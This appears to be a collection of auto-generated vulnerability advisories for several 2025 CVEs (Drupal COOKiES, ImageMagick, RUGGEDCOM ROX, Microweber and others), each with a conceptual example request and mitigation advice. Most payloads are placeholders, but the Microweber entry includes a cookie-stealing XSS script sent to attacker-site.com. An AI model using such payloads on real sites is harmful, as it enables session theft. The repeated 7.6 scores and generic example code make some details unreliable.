Author: Ameeba

Overview

The CVE-2025-8092 vulnerability pertains to an improper neutralization of input during web page generation, also known as ‘Cross-site Scripting’ (XSS), in Drupal’s COOKiES Consent Management. This presents a significant security risk to all versions of Drupal COOKiES Consent Management prior to 1.2.16. An exploit of this vulnerability could potentially compromise the system or lead to data leakage.

Vulnerability Summary

CVE ID: CVE-2025-8092
Severity: High – 7.6 (CVSS Score)
Attack Vector: Web-based
Privileges Required: None
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Drupal COOKiES Consent Management | 0.0.0 to 1.2.15

How the Exploit Works

The vulnerability is a result of improper input sanitization during web page generation. This allows an attacker to inject malicious scripts that can be executed in the victim’s browser when they visit the affected web page. This script can access sensitive information like session cookies, perform actions on behalf of the user or modify the appearance of the page.

Conceptual Example Code

The vulnerability might be exploited with a malicious HTTP request like this:

POST /cookies/consent HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "consent": "<script>malicious_code_here</script>" }

The `consent` parameter is where the attacker would insert their malicious script. When this request is processed by the server, the script will be inserted into the web page sent to the user’s browser, where it will be executed.

Overview

This report provides an in-depth analysis of the CVE-2025-55004 vulnerability discovered in ImageMagick, a free and open-source software for editing and manipulating digital images. This vulnerability can potentially lead to system compromise and data leakage, thus posing a significant risk to users of affected versions of this widely used software.

Vulnerability Summary

CVE ID: CVE-2025-55004
Severity: High (CVSS: 7.6)
Attack Vector: Local/Network
Privileges Required: Low
User Interaction: Required
Impact: System compromise and data leakage

Affected Products

Product | Affected Versions

ImageMagick | Prior to 7.1.2-1

How the Exploit Works

The vulnerability resides in the handling of images with separate alpha channels in ImageMagick. Specifically, during the image magnification process in ReadOneMNGImage, a heap-buffer overflow read occurs. This vulnerability can likely be leveraged by an attacker to leak subsequent memory contents into the output image, thereby potentially exposing sensitive information.

Conceptual Example Code

The vulnerability could be exploited using a crafted image file with a separate alpha channel. The actual exploitation details are not provided to avoid misuse, but the conceptual scenario might look like this:

# Attacker creates a malicious image with separate alpha channel
$ create_malicious_image --alpha separate --output exploit.mng
# Attacker uses the malicious image to trigger the vulnerability
$ convert exploit.mng -resize 500% output.png

In this scenario, the output image (`output.png`) would contain leaked memory contents from the victim’s system.

Recommended Mitigation

Users are advised to update ImageMagick to version 7.1.2-1 or later, which contains a patch for this vulnerability. In the interim, deploying a Web Application Firewall (WAF) or Intrusion Detection System (IDS) may help detect and block attempts to exploit this vulnerability.

Overview

The recent discovery of a security vulnerability in RUGGEDCOM ROX devices, identified as CVE-2025-40761, poses significant risks to companies and organizations utilizing these products in their network infrastructure. This vulnerability allows attackers to bypass the device’s authentication process, potentially leading to unauthorized system access, data leakage, and system compromise. The severity of this vulnerability underlines the critical need to address and mitigate the associated risks.

Vulnerability Summary

CVE ID: CVE-2025-40761
Severity: High (7.6 CVSS)
Attack Vector: Physical
Privileges Required: None
User Interaction: Required
Impact: Unauthorized system access, data leakage, and potential system compromise

Affected Products

Product | Affected Versions

RUGGEDCOM ROX MX5000 | All versions
RUGGEDCOM ROX MX5000RE | All versions
RUGGEDCOM ROX RX1400 | All versions
RUGGEDCOM ROX RX1500 | All versions
RUGGEDCOM ROX RX1510 | All versions
RUGGEDCOM ROX RX1511 | All versions
RUGGEDCOM ROX RX1512 | All versions
RUGGEDCOM ROX RX1524 | All versions
RUGGEDCOM ROX RX1536 | All versions
RUGGEDCOM ROX RX5000 | All versions

How the Exploit Works

The vulnerability lies in the Built-In-Self-Test (BIST) mode of the affected RUGGEDCOM ROX devices. The devices do not adequately limit access in this mode, enabling an attacker with physical access to the serial interface to bypass the authentication process. This bypass allows the attacker to gain access to a root shell on the device, resulting in unauthorized system access and potential system compromise.

Conceptual Example Code

Below is a
conceptual
example of how an attacker might exploit this vulnerability:

# Attacker gains physical access to serial interface
connect to serial interface
# Attacker enters BIST mode
enter BIST mode
# Bypass authentication, gain root access
bypass authentication, get root shell

Please note that this is a simplified representation of the potential exploit and does not represent real code. It is provided for understanding purposes only.

Overview

CVE-2025-51624 is a high-severity Cross-site scripting (XSS) vulnerability identified in Zone Bitaqati software versions up to 3.4.0. This vulnerability could potentially lead to system compromise and data leakage, posing a serious threat to users’ sensitive information and the system’s integrity. It is crucial to understand and mitigate this vulnerability to protect systems from exploitation.

Vulnerability Summary

CVE ID: CVE-2025-51624
Severity: High (7.6 CVSS v3)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: System compromise and data leakage

Affected Products

Product | Affected Versions

Zone Bitaqati | Up to 3.4.0

How the Exploit Works

The exploit works by taking advantage of insufficient input validation in Zone Bitaqati software. An attacker can inject malicious scripts into the application, which are then executed in the user’s browser when the compromised pages are viewed. This could potentially lead to unauthorized access, data theft, or even control over the user’s session.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited using a malicious payload in an HTTP POST request:

POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "user_input": "<script>malicious_code_here</script>" }

In this example, the “user_input” field is injected with a script that contains the attacker’s malicious code, illustrating a potential exploitation of the XSS vulnerability in Zone Bitaqati software.

Overview

The CVE-2025-51504 vulnerability pertains to a Cross-Site Scripting (XSS) flaw found in Microweber CMS 2.0. This vulnerability affects the ‘/projects/profile’ homepage endpoint via the last name field. The implications of this vulnerability are significant, potentially leading to a system compromise and data leakage. Any system or entity utilizing Microweber CMS 2.0 should be aware of this vulnerability and take immediate corrective action.

Vulnerability Summary

CVE ID: CVE-2025-51504
Severity: High (7.6 CVSS Score)
Attack Vector: Remote Network
Privileges Required: None
User Interaction: Required
Impact: System compromise and data leakage

Affected Products

Product | Affected Versions

Microweber CMS | 2.0

How the Exploit Works

An attacker can exploit this vulnerability by injecting malicious scripts into the last name field on the affected endpoint. When other users or administrators view these injected scripts, the scripts get executed within the context of their user session. This could allow the attacker to hijack user sessions, deface web sites, or redirect the user to malicious sites.

Conceptual Example Code

Here’s a conceptual example of how an attacker might exploit this vulnerability:

POST /projects/profile HTTP/1.1
Host: vulnerable-site.com
Content-Type: application/x-www-form-urlencoded
last_name=<script>new Image().src='http://attacker-site.com/steal.php?cookie='+document.cookie;</script>

In this example, the attacker sends a POST request to the vulnerable endpoint (‘/projects/profile’) with a malicious payload in the last_name field. This script, when executed, would send the user’s cookie to the attacker’s server, effectively allowing the attacker to hijack the user’s session.

Overview

This report analyzes the vulnerability CVE-2025-51503, a severe Stored Cross-Site Scripting (XSS) flaw in Microweber CMS 2.0. This vulnerability allows attackers to inject malicious scripts into user profile fields, leading to arbitrary JavaScript execution in admin browsers. It poses a significant security risk to any organization using Microweber CMS 2.0 for their content management system.

Vulnerability Summary

CVE ID: CVE-2025-51503
Severity: High – CVSS 7.6
Attack Vector: Stored Cross-Site Scripting (XSS)
Privileges Required: None
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Microweber CMS | 2.0

How the Exploit Works

The vulnerability occurs because Microweber CMS 2.0 does not adequately sanitize user profile inputs. This allows an attacker to inject malicious scripts into these fields. When an admin user views this profile, the injected JavaScript is executed in the admin’s browser context. This could potentially lead to administrative account compromise, resulting in unauthorized access to the system or exposure of sensitive data.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited. An attacker may send a malicious payload like this through the user profile fields:

POST /profile/update HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "username": "test_user", "profile_field": "<script>malicious_script_here</script>" }

In this example, “malicious_script_here” would be replaced with the actual malicious JavaScript that the attacker wishes to execute in the admin’s browser.

Mitigation Guidance

Users are advised to update to the latest version of Microweber CMS or apply the vendor patch to fix this vulnerability. As temporary mitigation, users can also use a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) to detect and prevent the execution of malicious scripts.

Overview

A significant security vulnerability has been identified in the DevaslanPHP project-management software version 1.2.4. This vulnerability, designated as CVE-2025-52203, is a stored Cross-Site Scripting (XSS) flaw that could potentially lead to system compromise or data leakage. As such, it poses a significant risk to organizations using the affected software, warranting immediate attention and remediation.

Vulnerability Summary

CVE ID: CVE-2025-52203
Severity: High (7.6 CVSS v3)
Attack Vector: Network
Privileges Required: Low (authenticated user)
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

DevaslanPHP Project-Management | v1.2.4

How the Exploit Works

The CVE-2025-52203 vulnerability stems from a failure in DevaslanPHP project-management software to adequately sanitize user-supplied input in the Ticket Name field. An authenticated attacker can exploit this flaw by injecting malicious JavaScript payloads into this field. These payloads are then stored in the database and executed in the browser context of any authenticated user who logs into the Dashboard panel, potentially leading to system compromise or data leakage.

Conceptual Example Code

An example of how the vulnerability might be exploited is included below:

POST /tickets/create HTTP/1.1
Host: target.example.com
Content-Type: application/json
{
"ticket_name": "<script>malicious JavaScript code here</script>",
"ticket_description": "normal ticket description here"
}

In this example, the “ticket_name” field contains the malicious JavaScript code, which would be stored in the database and subsequently executed in the user’s browser when they accessed the Dashboard panel.

Overview

CVE-2025-28170 is a significant cybersecurity vulnerability that affects Grandstream Networks GXP1628 devices with versions equal to or less than 1.0.4.130. This flaw exists due to the device’s configuration that enables directory listing, leading to unauthorized access to sensitive directories and files. This situation poses a severe threat as it could potentially lead to system compromise or data leaks, impacting organizations depending on these devices for their operations.

Vulnerability Summary

CVE ID: CVE-2025-28170
Severity: High (CVSS: 7.6)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

Grandstream Networks GXP1628 | <=1.0.4.130 How the Exploit Works

This vulnerability arises from the device being configured with directory listing enabled. This configuration allows an attacker to gain unauthorized access to sensitive directories and files. An attacker could exploit this vulnerability by sending a specially crafted request to the device, leading to the exposure of sensitive information, potential system compromise, or data leakage.

Conceptual Example Code

Here is a conceptual example of how an attacker might exploit this vulnerability:

GET /sensitive/directory HTTP/1.1
Host: target.example.com

This request could potentially expose sensitive files and directories, leading to a breach of the system’s security. An attacker could then manipulate or steal this information, leveraging it for further malicious activities.

Mitigation

To mitigate this vulnerability, users are advised to apply the latest updates and patches provided by the vendor. If a patch is not available, the use of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation by blocking or alerting on attempts to access these sensitive directories and files.

Overview

The CVE-2025-31955 vulnerability is a critical issue found in HCL iAutomate software. The vulnerability allows unauthorized users to gain access to sensitive information within the system, potentially leading to a system compromise or data leakage. The vulnerability poses a significant risk to all the organizations using the affected versions of this software and immediate attention is required to mitigate the risk.

Vulnerability Summary

CVE ID: CVE-2025-31955
Severity: High (CVSS: 7.6)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Unauthorized access to sensitive information, potential system compromise or data leakage

Affected Products

Product | Affected Versions

HCL iAutomate | All versions prior to the latest security patch

How the Exploit Works

The exploit works by taking advantage of the improper handling of sensitive data by the HCL iAutomate software. An attacker can send specially crafted network requests to the targeted system to trigger this vulnerability. Upon successful exploitation, an attacker can gain unauthorized access to sensitive information within the system.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited using a HTTP request:

POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "malicious_payload": "extract sensitive data" }

In the above example, the “malicious_payload” is a placeholder for the actual malicious code that an attacker would use. This code would be designed to exploit the sensitive data exposure vulnerability in the HCL iAutomate software.

Mitigation Guidance

Until a vendor patch is available, it is recommended to use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary mitigation. These systems can help to detect and block the malicious network requests that could exploit this vulnerability. Once the vendor patch is available, it should be applied immediately to fully address this vulnerability.

Overview

The vulnerability, identified as CVE-2025-53528, affects Cadwyn, a community-driven modern Stripe-like API versioning system created in FastAPI. This vulnerability is particularly concerning as it could lead to a system compromise or data leakage, posing a significant risk to any organization that utilizes Cadwyn in their applications.

Vulnerability Summary

CVE ID: CVE-2025-53528
Severity: High (CVSS: 7.6)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

Cadwyn | Versions before 5.4.3

How the Exploit Works

The vulnerability lies in the “/docs” endpoint of the Cadwyn application. The version parameter of this endpoint is not correctly sanitized, leading to a Reflected XSS attack vulnerability. This flaw allows an attacker to inject malicious JavaScript code. When a user clicks a manipulated link (a one-click attack), the code is executed within the user’s session. This could allow an attacker to hijack the user’s session, potentially leading to system compromise or data leakage.

Conceptual Example Code

An attacker could exploit this vulnerability by sending a specially crafted HTTP request, such as:

GET /docs?version=<script>malicious_script_here</script> HTTP/1.1
Host: vulnerable-host.example.com

In this example, “malicious_script_here” would be replaced with the actual malicious JavaScript code.

Mitigation Guidance

Users are strongly advised to apply the vendor patch by updating Cadwyn to version 5.4.3 or later. As a temporary mitigation, users can implement a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) to monitor and block suspicious activities.